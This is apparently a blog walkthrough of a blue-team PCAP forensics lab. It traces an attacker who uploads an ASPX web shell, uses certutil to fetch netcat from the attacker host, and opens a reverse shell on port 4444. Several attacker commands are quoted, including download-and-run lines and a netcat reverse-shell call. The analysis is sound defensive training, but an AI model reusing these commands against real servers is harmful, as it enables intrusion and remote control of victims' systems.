Chase Walkthrough

Fabian Sybille • March 12, 2022

Chase Walkthrough


Scenario

One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?

Analysis

Immediately when looking at the pcap, we can see a TCP 3 way handshake taking place between 22.22.22.7 and 22.22.22.5 with the .7 address initiating it. The requests are also coming from the .7 address which tells us that the .5 address is the web server. We also see /upload.aspx. Aspx lets us know the server is likely running asp.net. So it's likely a windows server.


From here, I decided to view the TCP stream. That shows us all of the http traffic and it reads a bit better. To do this, just right right click on a TCP or HTTP packet, go down to Follow, and choose TCP Stream.


We see an upload page being requested in GET /upload.aspx HTTP/1.1. Then we see HTTP/1.1 200 OK which lets us know the upload page was successfully loaded. We see the title of the upload page, filesystembrowser. Looking at the text in the body of the page, we see can tell it's an upload form.


Next we see the command POST /upload.aspx?operation=upload HTTP/1.1. This tells us that an upload is happening on the upload page. We see name="authKey" and then admin. The authKey should be something a lot harder. We also see filename="cmd.aspx". This is a web shell. We see other things that point out attributes of the webshell, like Page Language="VB" which tells us it's written in visual basic and the dimensions of the TextBox/web shell.


After the POST request, we see the response code HTTP/1.1 200 OK which tells us the upload was successful. In the boxy of the page we also see the message "File uploaded".


Next we see GET /cmd.aspx HTTP/1.1. This is the attacker requesting the web shell they just uploaded. The response is a 200 OK. When looking at the body of the response, we see the same dimensions that were in the POST request earlier.


Next we see POST /cmd.aspx HTTP/1.1. This is the attacker uploading into the web shell. The body of the POST request shows that the attacker is calling on cmd.exe to have certutil upload nc64.exe from 22.22.22.7, which we know to be the attacker IP, to users/public/c.exe on the web server. We see from the response that it it was uploaded successfully.


The last request we see is POST /cmd.aspx HTTP/1.1. In the body we see the cmd.exe running users/public/nc.exe to connect to 22.22.22.7 over port 4444 and to run cmd.exe once it connects. This gives the attacker a reverse shell on the web server.


So now we're seeing traffic on port 4444 in the pcap. Notice the source of that traffic is the .5 address which is the web server. This is the first time we've seen the .5 address initiate the TCP 3 way handshake or connection to the .7 address.


We right click the first packet of the 4444 traffic and follow the tcp stream. We see all of the commands that were run in the reverse shell. The first two are basic information gathering commands, whoami and ipconfig. Next we see cd to change the directory. The next command is interesting, powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt -OutFile c:\users\public\file.txt. The user attempting to use powershell to upload the text file with the long name to c:\users\public\file.txt. That command didn't work due to the 'Invoke-WebRequest' cmdlet not being recognized. When that didn't work, the user used certutil to upload the file with this command certutil -urlcache -split -f http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt c:\users\public\.


After this, we see a GET request to retrieve the file that was uploaded to the web server.


We follow the TCP stream for that file. The user retrieves the file with the GET request and the contents of the file are shown. Inside the txt file is more text that says 'Hey there!'. This isn't suspicious but what about the name of the file? The name of the file consists of all upper case letters and numbers between 2 and 6. The name of the file may be base32 encoded because base32 only contains upper case letters and numbers I believe.


I copied and pasted the name of the file into Cyber Chef and tried to use base32 to decode it. It worked and gave us the flag. 

Social

By Fabian Sybille August 2, 2021
Scenario The Security Operations Center at Defense Superior are monitoring a customer’s email gateway and network traffic (Crimeson LLC). One of the SOC team identified some anomalous traffic from Josh Morrison’s workstation, who works as a Junior Financial Controller. When contacted Josh mentioned he received an email from an internal colleague asking him to download an invoice via a hyperlink and review it. The email read: There was a rate adjustment for one or more invoices you previously sent to one of our customers. The adjusted invoices can be downloaded via this [link] for your review and payment processing. If you have any questions about the adjustments, please contact me. Thank you. Jacob Tomlinson, Senior Financial Controller, Crimeson LLC. The SOC team immediately pulled the email and confirmed it included a link to a malicious executable file. The Security Incident Response Team (SIRT) was activated and you have been assigned to lead the way and help the SOC uncover what happened. You have NetWitness and Wireshark in your toolkit to help find out what happened during this incident. What is the full filename of the initial payload file? The scenario says the invoice was downloaded via a hyperlink. The first thing that came to mind was a GET request to the url attached to the hyperlink. GET requests are used when retrieving executables from URLs. So I opened the pcap in wireshark and filtered for GET requests.
By Fabian Sybille July 14, 2021
Countdown is a Digital Forensics lab scenario by Blue Teal Labs Online. This is walkthrough of how I completed the lab.
By Fabian Sybille July 8, 2021
TrickBot was originally designed as a banking Trojan to steal financial data. A favorite of cyber criminals and typically distributed via phishing campaigns.
Share by: